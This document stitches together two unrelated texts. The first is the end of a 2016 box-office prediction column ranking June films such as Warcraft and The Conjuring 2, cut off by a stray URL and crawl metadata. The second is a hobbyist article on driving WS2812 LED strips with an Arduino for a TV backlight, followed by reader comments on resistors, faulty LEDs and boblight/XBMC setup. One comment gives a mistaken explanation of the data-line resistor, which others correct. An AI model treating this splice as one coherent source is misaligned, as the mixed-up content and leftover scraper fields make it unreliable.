The two biggest films of June are set mostly in stone, but there'll be a real battle for #3. This very legitimate contender for that spot is another entry in the genre that will live forever, the buddy film, teaming this time Dwayne Johnson and Kevin Hart, two stars who physically complement each other somewhat perfectly, if you think about it. Between the Ride Alongs, The Wedding Ringer, and Get Hard, Hart has more or less mastered the art of this subgenre, while The Rock is on a real roll right now, even by his standards. Helmed by Rawson Marshall Thunder, previously of Dodgeball and We’re the Millers, this teaming seems like solid, perfectly inoffensive summer entertainment, and is also one of the few original properties among the season’s would-be blockbusters, although Mr. Johnson has by now morphed into something of a humanoid franchise.
The film’s trailer has a few memorable money shots in there where The Rock cleverly embarrasses himself (like the high-school age simulcara of Johnson performing a musical number, a sight that once glimpsed, is not easily scrubbed from memory). So the opening could be strong, and if the film’s good (and there's at least a decent chance that it is), it could finish with a very respectable number among all those sequels and video game adaptations. Central Intelligence could even be the first summer blockbuster since all the way back to Captain America: Civil War to score a “Fresh” on Rotten Tomatoes! (anything is possible).
Opening weekend: $45 million / Total gross: $125 million
5. Warcraft (June 10th)
“Warcraft" is one of those words I’ve heard people use in casual conversation over and over for many years, smiling and nodding my head in agreement without ever really knowing what the word meant or what they were talking about – sort of the same experience I've had with other mysterious but ubiquitous words or phrases of the modern world, like "Angry Birds", "Facebook", "Hello Kitty", "Cell phone", and so on.
Some furious googling later, it looks like what the video game Warcraft amounts to on the big screen is a Lord of the Ringesque fantasyland, perhaps up in space this time, with orcs and humans engaged in consequential battles of the species. Aside from the more recognizable Paula Patton, the film’s leads, human and otherwise, are played by Travis Fimmel, Robert Kazinsky, Dominic Cooper, and Ben Schnetzer, some of whom look a little alike, and many of whom have bristled on the edges of stardom in indie films or television shows. Warcraft is helmed by sci-fi auteur Duncan Jones, who directed the indie Moon (2009), which got a lot of good notices, and Source Code (2011), one of many great recent Jake Gyllenhaal films. Those are respectable credentials, and there's bound to be a fanbase that's bursting at the seams to see a live-action Warcraft, but critics are already ramming this film vociferously; reviews that make it all the more likely that it’ll only be hard-core fans, and few civilians to their cause, who will attend on opening weekend.
Despite all this, Warcraft is still the film I expect, perhaps foolishly, to fight out a victory on June 10th, a weekend that right now carries the hopes of no less than three films on its shoulders - Warcraft will be competing with sequelitis' own Conjuring 2 and Now You See Me 2, a trifecta of films that has a semi-plausible chance of opening above $40 million (each, of course... I think).
Opening weekend: $45 million / Total gross: $101 million
6. Now You See Me 2 (June 10th)
Along with concurrent opener Conjuring 2, this is one of a pair of competing follow-ups to two of summer 2013’s biggest surprise hits. How they got there was a little bit different, and may give us a hint about how their sequels will play out: Now You See Me arrived with little buzz, started with a relatively soft $29 million, and finished with $117 mil, while The Conjuring broke out big, both opening and finishing with roughly $20 million more. The original film’s story – about betrayals and double-crosses among heist-prone magicians - was loopy, chaotic, and unmanageable, and the sequel’s promotional material promises much of the same for those already on board. Not to play the age card too hard, but the first film was an ensemble with a balanced mix of younger leads (Jesse Eisenberg, Dave Franco, Isla Fisher) and older, Oscar-winning thespians (Morgan Freeman and Michael Caine). The sequel brings most back, with Lizzy Caplan stepping in for Fisher, this time, and Jay Chou (Seth Rogen's assistant in The Green Hornet) and Daniel Radcliffe (who presumably needs no introduction) joining the proceedings.
I was a bit more bullish on the film's chances until I realized that this has been a summer, and, indeed, a year, that's given a beating to the expected success of several sure-thing sequels. Superhero films Batman v. Superman and Civil War are the only 2016 follow-ups to outgross their predecessors, and unless Now You See Me’s magicians plan to don even longer capes and fight crime, I’m not so sure they can beat part one.
Opening weekend: $43 million / Total gross: $100 million
7. The Conjuring 2 (June 10th)
Set in some of London’s finest haunted houses, The Conjuring 2 documents another case from the files of paranormal investigators and tai chi enthusiasts Ed and Lorraine Warren, retold here with what I presume is a detailed attention to historical and factual accuracy. The Warrens’ stories, whether real or imagined, appear ever more franchise-ready, and the first Conjuring had one of the better horror film performances of all time (really), opening to a strong $41 million and finishing up at $137 million (it's still that rare straightforward horror film that makes it to $100 million, much less opens that high). While this is called “2”, The Conjuring has in fact already inspired a spin-off, Annabelle (starring that ugly haunted doll), a film that was successful enough ($84 million!) to conjure its own sequel, slated for next summer. That brings us to another rule of horror box office: for whatever reason, first-time horror sequels pretty much never ever end up outgrossing their predecessor. That rule is usually broken once or twice per decade, but probably not here: the first film was exceedingly well-reviewed and buzzed about for months, and I think some of The Conjuring’s energy and good-will was expanded on Annabelle’s chances. We’re also roughly three years away from the first film, and that's an eternity for horror fans. Still, there's been enough money left on the table at the box office this summer to ably fund a decent opening weekend here, even with early-month competition running rampant.
Opening weekend: $41 million / Total gross: $90 million
8. Popstar: Never Stop Never Stopping (June 3rd)
This mockumentary of a parody of a satire about the pop music industry is just the second film from the comedy trio The Lonely Island, after their little-seen Hot Rod from 2007. As required for mocking pop culture, Popstar includes the usual glut of celebrity cameos, and arrives at a release date that's about a year away from the Entourage film, which seems to have been a much less ironic treatment of some of the same material. Popstar is, strictly speaking, right now the only film on this list to be a sure thing: it’s getting good reviews, although neither of its recent brothers in comedy, Neighbors 2 or The Nice Guys, seems to have been helped all that much by critical approval. The film’s title, subtitle, and premise may be confusing to some (like me), and some others may not get the joke (I’m working on it), but a lack of discernible comedy competition until at least Central Intelligence ought to give this one a few decent weekends.
Opening weekend: $14 million / Total gross: $38 million
9. Me Before You (June 3rd)
Filling the apparently much-needed June romance slot is this English film, based on a U.K. novel that may or may not be more popular overseas than over here. As the poster somewhat hints but does not totally give away, the male lead is in a wheelchair, cared for by the woman with whom he eventually partners in romance. Stars Sam Claflin and Emilia Clarke are somewhat established names, although in Dwayne Johnsonesque fashion, Claflin has made his way into so many franchises (Pirates of the Caribbean, Snow White, The Hunger Games), that this is remarkably his first major film outside of one, while Clarke (famous for being on that show) makes this a nice change of pace from blowing errant machinery away as Sarah Connor in last summer's Terminator sequel. In a summer so far bereft of romantic dramas (so much so that indies like Love & Friendship and The Lobster are doing much better than expected in their limited bows), there may be a niche this one fills, although when it comes to these June romances, Me Before You will probably play out more in the ballpark of The Sisterhood of Pants Travel [sic] than The Notebook. That’s not so bad.
Opening weekend: $9 million / Total gross: $33 million
10. Free State of Jones (June 24th)
This is a true story of the 1860s American Civil War (that’s the one Captain America wasn’t involved in), about the pseudo-alliteratively named Newton Knight, a Mississippian farmer who led an anti-Confederate rebellion that occupied a good chunk of his home state. The $65 million budget is very ambitious, and star Matthew McConaughey, whose acting acumen is at its peak, seems like the right choice to headline a dark, meaningful film about race, betrayal, and violence, set in the American South. The time period is somewhat undercovered in American cinema these days, which may be a plus, and these quiet drama films often play long and sturdy during the summer months, especially when entertainment for adults is in scarce supply (as it now inevitably is).
Opening weekend: $8 million / Total gross: $32 million
11. The Shallows (June 29th)
For whatever confounding reason, there are less horror films released in June than in just about any other month of the year (even December, believe it or not), which means that 1) Someone should have told that to the Conjuring sequel, and, 2) The Shallows' release date is a mere two days away from profitability. All kidding aside, this thriller is headlined by Blake Lively, who sketched out a nice success for herself last year headlining the intriguing if frustrating The Age of Adaline, and whose name recognition will lift the film somewhat from anonymity. The director is Jaume Collet-Serra (who made lots of those Liam Neeson thrillers like Run All Night and Unknown), and the premise, about a surfer trapped by a particularly nasty and presumably rather starving shark, is a callback to another shark-baiting thriller, Open Water from 2004, and perhaps also to the more honestly-titled Shark Night 3D (2011). This more elegant-looking film could do reasonably well; the Wednesday opening doesn’t make that much sense, but I guess the film is just trying to get away from the Spielberg-led onslaught of its oncoming weekend, although there couldn’t be too many people who would otherwise be forced to choose between The Big Friendly Giant and a big hungry shark.
Opening weekend: $12 million (5-day) / Total gross: $29 million | http://www.boxofficeprophets.com/column/columnprint.cfm?columnID=18421 | CC-MAIN-2018-26 | refinedweb | 2,942 | 52.77 |
Multiply your Python Unit Test Cases with DDT
DDT (Data-Driven Tests) is a small python module that allows you to multiply your unit test cases for free.
The idea is pretty simple: you write a single test case and define some data samples, and DDT will generate a test case for each sample you provided.
You might ask: “Why is that useful?”
Consider the following example, a simple test case without using DDT.
import unittest
class TestWithoutDDT(unittest.TestCase):
def test_without_ddt(self):
for x in [1, -2, 3, 4, -5]:
self.assertGreater(x, 0)
If you run this test you will get the following output:
Failure
Traceback (most recent call last):
File "/home/jack/Repos/design-patterns/test_ddt.py", line 47, in test_without_ddt
self.assertGreater(x, 0)
AssertionError: -2 not greater than 0
The test failed as soon as it asserted that
-2 is greater than
0 and then stopped. It didn’t consider
3,
4, or
-5, so you don’t don’t whether the test would have passed for those inputs or not.
Now take a look at a very similar test with
DDT.
import unittest
from ddt import ddt, data, idata, file_data, unpack
@ddt
class TestDDTData(unittest.TestCase):
@data(1, -2, 3, 4, -5)
def test_with_ddt_data(self, x):
self.assertGreater(x, 0)
If you run this test you will get two distinct failures, for
-2 and
: -2 not greater than: -5 not greater than 0
This means that all of the inputs were tested, and two of them failed. Now you know why DDT is so cool!
It takes less than 2 minutes to read the documentation, and the examples are great!
The main reason why I like DDT is that it’s very easy to use: just decorate a test class with the
@ddt decorator, and every test case you want with one of the decorators provided by this module. Here are the decorators available:
@data: contains as many arguments as the values you want to feed to the test. This values can be numbers, strings, tuples, etc. In the case of tuples, a cool feature is that you can
@unpackthem.
@file_data: loads the test data from a JSON or YAML file.
@idata: generates a new data sample from a generator function you defined somewhere in the code. (At this moment this decorator is not mentioned in the documentation).
Here is an example with a generator function and
@idata:
import unittest
from ddt import ddt, idata
def number_generator():
for x in [1, -2, 3, 4, -5]:
yield x
@ddt
class TestDDTGenerator(unittest.TestCase):
@idata(number_generator())
def test_with_ddt_idata(self, x):
self.assertGreater(x, 0)
And here an example where the data is stored in an external file (JSON):
mydatafile.json
[1, 2, 3, 4, 5]
import unittest
from ddt import ddt, file_data
@ddt
class TestDDTDataFile(unittest.TestCase):
@file_data('mydatafile.json')
def test_with_ddt_file_data(self, x):
self.assertGreater(x, 0)
Finally, an example where the data in unpacked:
import unittest
from ddt import ddt, data, unpack
@ddt
class TestDDTDataUnpack(unittest.TestCase):
@data(('hello', 3), ('answer', 42))
@unpack
def test_with_ddt_data_unpack(self, some_string, some_integer):
self.assertIsInstance(some_string, str)
self.assertIsInstance(some_integer, int)
Alternatives to DDTAlternatives to DDT
The idea of test generators is not new, and there are at least two modules with similar capabilities: genty and data-provider. I opted for DDT because it seems better documented and more pythonic, but genty looks pretty good too. In particular, the
@genty_repeat decorator might be a nice feature that is not available in DDT(even if one could probably obtain the same functionality by using the retrying module). | https://www.giacomodebidda.com/posts/multiply-your-python-unit-test-cases-with-ddt/ | CC-MAIN-2021-21 | refinedweb | 597 | 63.59 |
Bundling Aurelia Apps
Our latest Aurelia release has made significant advances, with more on the horizon. Today, Core Team Member Ahmed Shuhel will share how our bundling strategy is evolving to support the framework and our community.
Previously, Aurelia Loader used HTML Imports to load all views. Now, as it is apparent that HTML Imports is not going to be standardized in its current form, we have replaced our default view loading mechanism with a SystemJS text-based solution. The same solution has been applied to CSS loading as well. To learn more about this change, you can read our recent release notes post. We are emphasizing this again here because these changes affect bundling, as you will see below.
Also, previously we were using Aurelia CLI to bundle our apps. However, we have decided to set aside the CLI effort for now since it mostly duplicated great work already done by tools like gulp, grunt, yeoman, etc. Instead, we are providing first class support for these tools via a small focused bundling library Aurelia Bundler that can be used from a
gulp task or any other tool.
In the remainder of this post we will see how we can use Aurelia Bundler to create a gulp task for bundling our app. Let's jump right into it. We will use
skeleton-navigation as our app to bundle. If you don't have that setup. Follow these steps.
Now that we have our app running proudly, let's start by installing
aurelia-bundler. To do so
cd into
skeleton-navigation and run the following command:
npm install aurelia-bundler --save-dev
Now, let's create a
bundle.js file in
build/tasks/bundle.js as:
var gulp = require('gulp'); var bundler = require('aurelia-bundler'); var config = { force: true, packagePath: '.', bundles: { "dist/app-build": { includes: [ '*', '*.html!text', '*.css!text', 'bootstrap/css/bootstrap.css!text' ], } } } }; gulp.task('bundle', function() { return bundler.bundle(config); }); gulp.task('unbundle', function() { return bundler.unbundle(config); });
Note that the bundle function returns a Promise.
With that file in place, let's run the command bellow:
gulp bundle
Here are the things that happened after gulp is finished executing the task:
- A file,
dist/app-build.jsis created.
- A file,
dist/aurelia.jsis created.
config.jsis updated.
Now, if we refresh/reload the app from the browser, we will see much less network traffic, which means our app is properly bundled.
Let us now take a closer look at the
config object. We will skip
force and
packagePath for the moment.
bundles is where we will focus first.
We can create as many bundles as we want. Here we have created two: one for the app source and another for the Aurelia libs. Again, we can create just a single bundle if we want that combines both application source and Aurelia libs. The number of bundles we would like to have mostly depends on our application structure and the usage patterns of our app. For example, if our app has a design that actually makes it a collection of child-apps/sections, then a "common" bundle and a "bundle per section" makes much more sense and performs better than a huge single bundle that needs to be loaded upfront.
Here is a typical bundle configuration with all it's glory:
"dist/app-build": { includes: [ '*', '*.html!text', '*.css!text', 'bootstrap/css/bootstrap.css!text' ], excludes: [ 'npm:core-js', 'github:jspm/nodelibs-process' ], options: { inject: true, minify: true } }
- dist/app-build : This is the name of the bundle and also where the bundle file will be placed. The name of the bundle file will be
app-build.js. Since the
baseURLfor
skeleton-navigationpointed to the
distfolder, we named it
dist/app-build.
- includes : We will specify all the modules/files that we want to include here. Since all our JavaScript modules are in the
distfolder and we have a
pathrule configured in
config.jsthat points to the
distfolder, if we simply specify
*, all our JS modules will be included. We can specify
*/**/*here if we want to include all the subfolders.
*.html!text: This includes all the templates/views in the bundle. the
!texttells the Bundler and Loader that these files will be bundled and loaded using the
textplugin.
*.css!text: Like html templates, we are including all the css here. If you have previously used
plugin-css, note that we are not using
!csshere. The Aurelia Loader uses
textplugin for loading css to analyze and do other interesting stuff like
scopingetc.
- excludes: This is where we specify what we want to exclude from the bundle. For example, if we used
*to include all the JS files in the
distfolder, and for some reason we wanted
app.jsto be excluded from the bundle, we would write:
excludes : [ 'app' ]
- inject: If set to true, this will inject the bundle in
config.js, so whenever the application needs a file within that bundle, the loader will load the entire bundle the first time. This is how we can achieve lazy bundle loading. For a large app with multiple sub sections, this will help us avoid loading everything upfront.
- minify: As the name suggests, if this is set to
true, the the source files will be minified as well.
Note that we are using system-builder under the hood so all the systemjs-builder options should work here.
- force : If this is set to
truethe task will overwrite any existing file/bundle with the same name. Set it to false if you are not sure about it.
- packagePath : By default it's
'.'. You can change this if your
package.jsonfile is somewhere else other than the base of your app.
aurelia-bundleruses this file to find
config.js,
baseURL, the
jspm_packagesfolder and other important project configuration.
At this point you may be thinking, "Well, this is all good but we already have developed an application that uses Polymer and
HTML Imports extensively. And we want to bundle them as well." You may have already picked up in the last post that we have created a separate plugin aurelia-html-import-template-loader exclusively for this use case. We have bundling support for that too.
This is how we can do it. There are two parts to the process:
First let's install
aurelia-html-import-template-loader with the command bellow:
jspm install aurelia-html-import-template-loader
Now, let's open
src/main.js and add this line:
aurelia.use.plugin('aurelia-html-import-template-loader'). After that change,
main.js should look like this:
import 'bootstrap'; export function configure(aurelia) { aurelia.use .standardConfiguration() .developmentLogging(); aurelia.use.plugin('aurelia-html-import-template-loader') aurelia.start().then(a => a.setRoot()); }
With this little change Aurelia Loader will now use
HTML Imports to load all the views. Now, back in our bundle task, we will add a
config like this:
"dist/view-bundle": { htmlimport: true, includes: 'dist/*.html', options: { inject: { indexFile : 'index.html', destFile : 'dest_index.html', } } }
And, we will also change the first bundle a little bit to exclude all the
html and
css files. Finally our
bundle.js file should look like this:
var gulp = require('gulp'); var bundle = require('aurelia-bundler').bundle; var config = { force: true, packagePath: '.', bundles: { "dist/app-build": { includes: [ '*' ], } }, "dist/view-bundle": { htmlimport: true, includes: 'dist/*.html', options: { inject: { indexFile : 'index.html', destFile : 'dest_index.html', } } } } };
We have changed the source code (src/main.js), so we need to rebuild our app. The command bellow should do that:
gulp serve
Now, let's run
gulp bundle in a new command/console tab. If we now refresh/reload our app from the browser keeping the developer tools open, we should see the difference.
Note that order of running the tasks is important here. The
buildclears/removes all the files in the
distfolder. So, any bundle file in that folder will be deleted too. This is why we always have to run the
gulp bundleafter the
buildtask is finished. If you are using
watchyou will have to be extra careful because every change you make in the source file will trigger a
buildtask that clears the
distfolder and any bundles as well.
Let's examine the configuration now. If you were using the CLI previously this may look familiar. The only difference here is that we have introduced some uniformity in the
config api. Let's examine this
config one property at a time:
- dist/view-bundle : The name of the bundle file is
view-bundle.htmland will be placed in the
distfolder.
- htmlimport : This is what makes it different from other bundles. If this is set to
truethe bundler will treat it as an html import-based bundle and the Aurelia loader will give it a different treatment as well.
- includes: This is where we will specify what goes in the bundle. All the glob patterns are supported here including arrays of patterns and
!based exclusion. For example:
includes : ['dist/**/*.html', '!dist/movie/*.html']
The above pattern will bundle all the views in
dist and it's child folders except everything in the
dist/movie folder.
- options : if
injectis set to
truethen a
<link rel="import" href="path/of/bundle.html" >will be injected in the body of
index.html. If you would like to keep your
index.htmlclean and create a separate index file then you have to set
indexFileand
destFile.
indexFile: 'index.html' destFile : 'dest_index.html'
There are two final important notes about bundling. First, our new bundling is designed to work with the latest version of Aurelia. So, you will need to update your libraries to use this. Second, now that our default view loading is based on the text plugin, you must install
plugin-text with
jspm install text for text-based bundling to work. This dependency is only needed at build time.
We hope this makes clear how to use bundling, as well as simplifies the process for you and helps you integrate it into your existing tool chain. If you have any issues regarding
bundling be sure to raise issues here. Thanks and we look forward to seeing what great things you will build!
| http://blog.aurelia.io/2015/09/11/bundling-aurelia-apps/ | CC-MAIN-2017-09 | refinedweb | 1,689 | 66.44 |
Django-Choices¶
Order and sanity for django model choices.
Contents:
Requirements¶
Django choices is fairly simple, so most Python and Django versions should work. It is tested against Python 2.7, 3.3, 3.4, 3.5 and PyPy. Django 1.8 until and including 1.11 alpha are supported (and tested in Travis).
If you need to support older Python or Django versions, you should stick with
version
1.4.4. Backwards compatibility is dropped from 1.5 onwards.
Quick-start¶
Install like any other library:
pip install django-choices
There is no need to add it in your installed apps.
To use it, you write a choices class, and use it in your model fields:
from djchoices import ChoiceItem, DjangoChoices class Book(models.Model): class BookType(DjangoChoices): short_story = ChoiceItem('short', 'Short story') novel = ChoiceItem('novel', 'Novel') non_fiction = ChoiceItem('non_fiction', 'Non fiction') author = models.ForeignKey('Author') book_type = models.CharField( max_length=20, choices=BookType.choices, default=BookType.novel )
You can then use the availe choices in other modules, e.g.:
from .models import Book Person.objects.create(author=my_author, type=Book.BookTypes.short_story)
The
DjangoChoices classes can be located anywhere you want,
for example you can put them outside of the model declaration if you have a
‘common’ set of choices for different models. Any place is valid though,
you can group them all together in
choices.py if you want.
License¶
Licensed under the MIT License.
Souce Code and contributing¶
The source code can be found on github.
Bugs can also be reported on the github repository, and pull requests are welcome. See Contributing for more details. | http://django-choices.readthedocs.io/en/latest/ | CC-MAIN-2018-09 | refinedweb | 268 | 52.26 |
The, so why not buy a Philips AmbiLight TV?
Well, pretty simple … first of all Philips does not carry 80″ AmbiLight enabled TV’s, smaller models are significantly more expensive than non-AmbiLight models, and it appears that these AmbiLight TV’s are hard to find in the US.
In this article we will be using an Arduino Uno connected to a strip of WS2812/WS2811 LEDs.
There are 359 comments. You can read them below.
You can post your own comments by using the form below, or reply to existing comments by using the "Reply" button.
Hi,
Great article. A lot of help.
Question … what it the purpose of the
optional 470 resistor?
Thanks
Thomas
Thanks Thomas!
ADAFruit and others recommend this to “dampen” spikes on the data pin … in my [limited] experience with electronics, I would have grabbed a capacitor for that, but they recommend a resistor.
In my experience: the setup works just fine with the resistor – I have yet to blow up my Arduino
…
hans
The reason you use a resistor as Lady Ada reccomends on the Neopixel is as follows: The resistor drops the input voltage of 5 volts. (I know you know that). A caacitor always blocks a DC voltage so placing in series on the +5 volts would block the +5DC. But-were you to take that same capacitor across the 5 voltage (from the+ 5 volt side to the ground side) it filters any AC voltage riding on the DC.
Put another way-capacitors block DC but allow some AC so static(noise, transients) riding on a DC line are shunted (siphoned off) the DC line. The higher the frequency the more of that AC will siphon; thus smoothing the DC on the input side.
And-as to why DC might have have AC riding on it to begin with-it most likely would come from a plug in(AC) power supply that outputs DC- that is leaky(inferior design, cheap or old componen components). Hope that helps.
Cappy Anderson
Thanks Cappy for the clear explanation, exactly as I intended it – just in better detail explaining the difference between resistor and capacitor in this application.
hans
I am sorry Cappy but that explanation is wrong in all aspects.
First of all the resistor does not “drop” any voltage. Resistors only drop voltage according to how much current is flowing and in this case when the input impedance of the WS2812 is very high there is sod all current flowing so there is sod all voltage drop. What is happening is that there is a transmission line situation, especially where the LED strip is some distance from the driving source. So a rising edge on the driver hits the mismatched impedance at the LED and reflects the signal back, this gets reflected back from the low impedance of the driver because again there is a miss match and you get a standing wave on the line. The resistor is there to absorb the power in this standing wave and damp it down.
Now as to the question of why not use a capacitor. If you used a series capacitor then driving one end of a capacitor at 0 to 5V would produce a signal of -5 to +5V on the other end. The -5V would kill the LED and would do nothing to suppress the standing wave. If you put the capacitor in parallel, that is from the input of the LED to ground then you degrade the rise time of the signal and so it would not work.
Grumpy_Mike
Thanks Grumpy Mike for the clarification, this way we learn something new every day
…
hans
Hi Grumpy Mike,
Nice explanation, but I don’t see how a 470 ohm resistor in series with a high impedance input will absorb anything. Surely for that to work the resistor needs to be to ground.
Marshy
Marshy.
Grumpy_Mike
The resistor isn’t needed to protect the Arduino from standing waves or we would see them used quite often on outputs plus the Arduino output is capable of handling currents up to 40ma and any reflected wave would be so small it would be almost impossible to measure. The real reason for the resistor is that many have had the first LED in a string fail which can easily happen when the LED string and Arduino are powered from seperate power supplies and either the Arduino supply is turned on first or it powers up a bit quicker than the LED power supply. When this happens and the Arduino output (which can supply up to 40ma safely and even much more current into a low impedance load) is HIGH, 5V will flow into the input of the first LED and end up trying to power the LED string which will result in more current flow than the input can withstand and distroy the input. Yes, the input is normally a high impedance input, but only when the LED is powered. Without a schematic of the LED circuit is hard to say exactely how 5V on the input reaches the 5V input and tries to power the LED, but it’s common practice to use diodes on high impedance inputs to protect the input and I’m guessing there’s a diode from the input to the 5V rail. These diodes are usually rated for no more than 10ma so would quickly be distroyed by 5v from an Arduino which would then result in the input circuitry also being distroyed. Anyway, A 470 ohm resistor will limit the current to no more than 10ma and allow the input protection diodes to do their job and not affect the signal when the LED is powered and the input becomes a much higher impedance.
Barry
Hello-
I just wanted to tell you how much I enjoyed this write up ! Why? The graphics are top notch but now I’ll say what impressed me s much. You style of writing is without a doubt-one of the best I have read. You writing is lucid, informative, succinct, and explicit. This is-in my opinion-something very rare, especially as it relates to informing someone about a technical subject! Any fool can complicate a subject! Rare is the person who can take a fairly complex subject, and make it simple to understand.
Well done!!
Cappy Anderson
Hi Cappy,
I’m actually amazed by your comment, including goose bumps
– thank you very much for this very nice compliment . I’m glad to hear that you like my way of writing, although I do not consider myself a writer.
Thanks for leaving such a nice comment, it makes writing more articles more than worth it.
hans
Adafruit_NeoPixel şerit = Adafruit_NeoPixel (60, PIN, NEO_GRB + NEO_KHZ800);
Benim ilk uno lütfen çok acil 1 mega-2 nano-LED çalışmıyor ws2811
canufuk
very urgent please my first uno 1 mega-2 nano-LEDs are not working ws2811
canufuk
HI neon tube can working ws2811. but ws2811 just DC12V. not DC24V, if DC24V.willl be UCS1903
WItop-tech
I have no idea what you’re asking.
Please post your question either in English, Dutch or German.
“Very urgent” and no description of the problem makes it hard to trouble shoot. Please provide more detailed information.
hans
salute me
1uno
2 nano
1meg to
does not work in there, but none
ws2811 LED strips and mushrooms in 2811
please help
Adafruit_NeoPixel strip = Adafruit_NeoPixel(60, PIN, NEO_GRB + NEO_KHZ800);
Thank you in advance stays here
canufuk
Hi Canufuk,
I understand that you have an Arduino Uno, a Nano and a MEGA.
You’re using WS2811 LEDs and they don’t work? Not sure what Mushroom means?
Do they stay OFF, show the wrong colors, or only a few work?
hans
i have the same problem with WS2811
they blink once and then stay off
Martin Hansen
Thanks for this complete article, very usefull !
Especially the digital led type sumary !
;)
Showtime
Thanks Showtime
I very much appreciate the positive feedback.
hans
Were you ever able to get these WS2812 strips working with an ambilight setup?
Dave
Hi Dave,
I haven’t had time yet to start that part of the project and I ran into one problem being that one of the strips I ordered was failing.
However … I do plan to start this project! I’ll post a comment here once I’ve completed the project (I’ll be posting an article about it as well).
hans
Great! Do you have any tips on where one would start looking into this themselves? I would say I’m an intermediate programmer, but my knowledge of the ambilight software and how it should work is minimal. I have a few of the WS2812 strips coming in tomorrow and I’m a bit anxious to start doing something with them.
Thanks Hans
DAVE
Well, my first step was getting familiar with Arduino and WS2812 LED strips, just playing with it to understand how it all works. For Ambilight/Boblight you’ll be able to find plenty links (Google). As far as I understand: the Arduino will be hooked to an XBMC box, and a XBMC plugin will steer it.
What I don’t like about that articular setup is that it the Ambilight will only work when playing media on your XBMC box. I’d rather have it work all the time … I have done a lot of reading on the matter and short from breaking open my TV, doing this is not as easy as when using it for XBMC only.
After playing with Arduino and the LED strips, the next step would be planning how to mount it on your TV. I have seen people using double sided tape but that’s not for me – I hate finding glue residue on my TV in case I remove it. Making a bracket would be the way to go utilizing the VESA mount on your TV. Or at least think about how you’d like to do it.
Next step would be a test setup: XBMC -> Arduino -> LED strips. See how it works before mounting anything on your TV.
This is what I found at GitHub, but there are plenty more sources/articles (look for WS2811/WS2812).
hans
Luckily for me 99% of my media comes from my XBMC box. This gives me plenty to go off though. I will definitely be making some kind of bracket. I have some analog LED strips on the back of my TV now that I occasionally use and while the glue from the tape didn’t leave any residue that is because it wasn’t very strong and they tend to fall occasionally. I guess the best thing to do is just dive in and see what I can do. Thanks again.
DAVE
Cool! Maybe we should keep each other posted about our progress
…
I hope to start by the end of the week …
hans
I’m not entirely optimistic about making much useful progress, but I will definitely keep you posted if I do.
DAVE
No worries
… I’ll keep you posted!
I’ll first have to do some shopping for something to create a bracket.
hans
So I got my WS2812 LED strips yesterday and after many hours of playing around with the different colors and patterns and how the LED addressing worked I was able to kind of get something working. I started with the arduino code from here:
and the processing code from here:
I don’t have my code with me, but I was able to get the whole strip to light up the proper color based on the display. There was a huge delay in matching the color and it showed some other colors occasionally which I think had to do with the way that I was reading the serial input. I think my biggest problem now is that I’m not sure how to assign segments of the LED strip to correspond with a matching section on the screen. It also seems like the time it takes for the strip to change to the proper color takes a while, but this most likely has to do with the way that I address the LEDs with the serial input.
DAVE
I’m not able to look into this right now (hopefully soon!) but as far as I recall you’ll need to configure the boblight plugin for XBMC to talk “properly” to your Arduino.
On this (Russian) page, a guy used a WS2812 like that: (not sure if Google Translate works this way, but here is the translated link). I also found some Arduino code at PasteBin for this purpose.
I’m sorry I haven’t gotten to this little project yet – I’m trying to finish up another project before starting a new one.
hans
No rush, I like trying to figure this stuff out on my own as best I can. Great find with the Russian site, after a quick read through it makes it look easier than I thought.
DAVE
I was thinking the same thing after reading the Russian site … looks like I finished my little project, so I hope to give BobLight a start tomorrow
…
hans
So I finally got everything working today. I used the arduino code from that Russian site and I more or less followed the guide found here:
There is also a link in there for a boblight.conf file generator that worked fairly well. The one thing that took me way too long to realize was that I had to change the prefixes found in the WaitForPrefix function to match my prefixes in boblight.conf file. I have a little more tweaking to do to get everything how I want and then I will mount them.
You mentioned that one of your strips was failing. What was the problem with it? I ordered 4 meters and there seems to be almost a one meter section that is a little touchy. If I press on the LED directly before the bad part it works fine. I’m not sure what to do about it I don’t really want to have to send them all back, but I imagine it may work for now and then give me problems down the road.
Dave
Awesome Dave! Glad you got it to work!
I’m still stuck in the “build a bracket” phase. My TV is 80″, so I need a rather big bracket and I haven’t been able to find materials for that (looking at local stores). I’ve been thinking about using aluminium square tubes or maybe something useful I can find in the local hardware store (my initial ideal was using a sheet of plexiglass with openings cut into it – until I found out how expensive plexiglass can be).
One of the strips I have fails after LED number 20, probably a minor issue (poor connection or dead chip), which I’ve figured a purpose for already. At the bottom of my TV, I wouldn’t need the full width anyway, so I could cut this strip in 2 parts. Sounds like you’re running in a similar issue. Although mine came in 5x 1 meter strips. You can could the strips, as long as you reconnect +5V, GND and Din from one strip to another.
Maybe these strips are designed to be 1 meter? Can you see anything that suggest this?
I did see at AdaFruit that they recommend having power fed to the strips in between (as shown in this article or this picture) – unlike the Russian website that suggests using thick wires between the strips.
hans
I think I’m just gonna cut the bad LED out and resolder the connection. I don’t know why I didn’t think of that, but my strip came as one long strip rather than individual strips.
I used blue half inch pvc (the kind used for water lines) for a bracket and used zip ties to connect the strips to it. I liked it because it allowed me to easily adjust the direction that the strips were pointing so I could get the optimal light reflection off of the wall.
I tried putting power to both ends of the strip, but I didn’t really notice a difference so I’m just using one end.
Dave
What kind of XBMC setup are you running? (ie. Windows, Mac, Linux, OpenElec, RaspBMC, etc)
I read in an article about a possible delay issue with OpenElec, so I was just wondering if I’d had to switch to another XBMC distro (using OpenElec right now).
hans
I’m using windows. I’ve only run OpenElec on my Raspberry pi which is not my main HTPC so I’m not sure about the delay.
Dave
Well, I made some progress … I did build a nice aluminium frame (used countertop trims/edging), and installed the LED strips.
I used the test program (above) to make sure all LEDs worked OK, and found only one that was dead.
I fixed that by bypassing the LED (Shortcut Din and Dout of the LED). So the above demo works great.
Now I’m kind-a stuck in getting XBMC to talk to the Arduino … did you use the Sketch of the Russian website?
(I did recreate the config file with a script I found here)
I’m sure the Sketch of AdaFruit is not going to work, since it expects a WS2801 instead of the WS2811/WS2812.
hans
Well, unfortunately for me my strips started failing shortly after actually taking them off of the reel after I had finished all testing.
Are you using the boblight addon in XBMC and the boblightd script? The only thing I changed in the sketch from that site were the number of LEDs, the speed, and the prefixes to watch for in the WaitForPrefix function. I got the prefixes for that out of my boblight.conf file that I got from a config file generator. After that I just made sure that the baud rate and the COM port were consistent through everything involved.
Dave
Thanks Dave for replying this quick. Bummer your LEDs are crapping out though
…
My were delivered in 1 Meter strands so I had some serious soldering to do to complete the frame.
I am using the boblightd plugin for XBMC, and had a script create my config file. I changed the speed (boblightd and Arduino Sketch to 38400), and the number of LEDs. I did try using the $55 $AA initiation string in the config file, but this did not work. So you used the ones the config generate created? How did you add this in the code?
hans
